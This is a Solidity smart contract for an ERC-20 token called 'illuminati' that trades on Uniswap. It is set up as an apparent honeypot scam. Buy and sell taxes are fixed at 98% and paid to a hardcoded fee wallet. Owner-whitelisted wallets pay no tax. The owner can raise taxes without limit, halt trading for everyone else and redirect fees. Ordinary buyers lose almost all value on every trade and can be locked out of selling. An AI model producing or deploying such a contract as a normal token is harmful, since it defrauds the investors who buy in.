文件 1 的 1:illuminati.sol
pragma solidity 0.8.18;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, " multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "caller is not the owner");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "new owner is zero address");
_owner = newOwner;
emit OwnershipTransferred(_owner, newOwner);
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract illuminati is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balance;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedWallet;
uint8 private constant _decimals = 18;
uint256 private constant _totalSupply = 100_000_000_000 * 10**_decimals;
uint256 private constant percent = _totalSupply / 100;
uint256 public maxWalletAmount = _totalSupply;
uint256 private _tax;
uint256 public buyTax = 9800;
uint256 public sellTax = 9800;
string private constant _name = "illuminati";
string private constant _symbol = "illumi";
IUniswapV2Router02 private constant uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public uniswapV2Pair;
address payable private feeProtocolAddress;
bool private launch = false;
uint256 private constant minSwap = percent / 20;
bool private inSwapAndLiquify;
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() {
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
feeProtocolAddress = payable(
0xd61d766F7310b03C3e9078797eE27BEA4f76126F
);
_isExcludedWallet[_msgSender()] = true;
_isExcludedWallet[feeProtocolAddress] = true;
_isExcludedWallet[address(this)] = true;
_allowances[_msgSender()][address(uniswapV2Router)] = ~uint256(0);
_balance[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, "low allowance")
);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(
owner != address(0) && spender != address(0),
"approve zero address"
);
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "transfer zero address");
if (_isExcludedWallet[from] || _isExcludedWallet[to]) {
_tax = 0;
} else {
require(launch, "Wait till launch");
if (from == uniswapV2Pair) {
require(
balanceOf(to) + amount <= maxWalletAmount,
"Max wallet invalid"
);
_tax = buyTax;
} else if (to == uniswapV2Pair) {
_tax = sellTax;
} else {
_tax = 0;
}
}
uint256 taxTokens = (amount * _tax) / 10000;
uint256 transferAmount = amount - taxTokens;
_balance[from] = _balance[from] - amount;
_balance[to] = _balance[to] + transferAmount;
_balance[address(feeProtocolAddress)] =
_balance[address(feeProtocolAddress)] +
taxTokens;
emit Transfer(from, to, transferAmount);
}
function enableTrading() external onlyOwner {
_approve(address(this), address(uniswapV2Router), _totalSupply);
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
launch = true;
}
function disableTrading() external onlyOwner {
launch = false;
}
function setFeeProtocolAddress(address _newAddress) external onlyOwner {
feeProtocolAddress = payable(_newAddress);
}
function changeTax(uint256 newBuyTax, uint256 newSellTax) external onlyOwner {
buyTax = newBuyTax;
sellTax = newSellTax;
}
function setLimitPercent(uint8 _percent) external onlyOwner {
maxWalletAmount = _percent * percent;
}
function removeLimits() external onlyOwner {
maxWalletAmount = _totalSupply;
}
function setWhiteList(address[] memory batch) external onlyOwner {
for (uint8 i = 0; i < batch.length; i++) {
_isExcludedWallet[batch[i]] = true;
}
}
function removeWhiteList(address _address) external onlyOwner {
_isExcludedWallet[_address] = false;
}
receive() external payable {}
}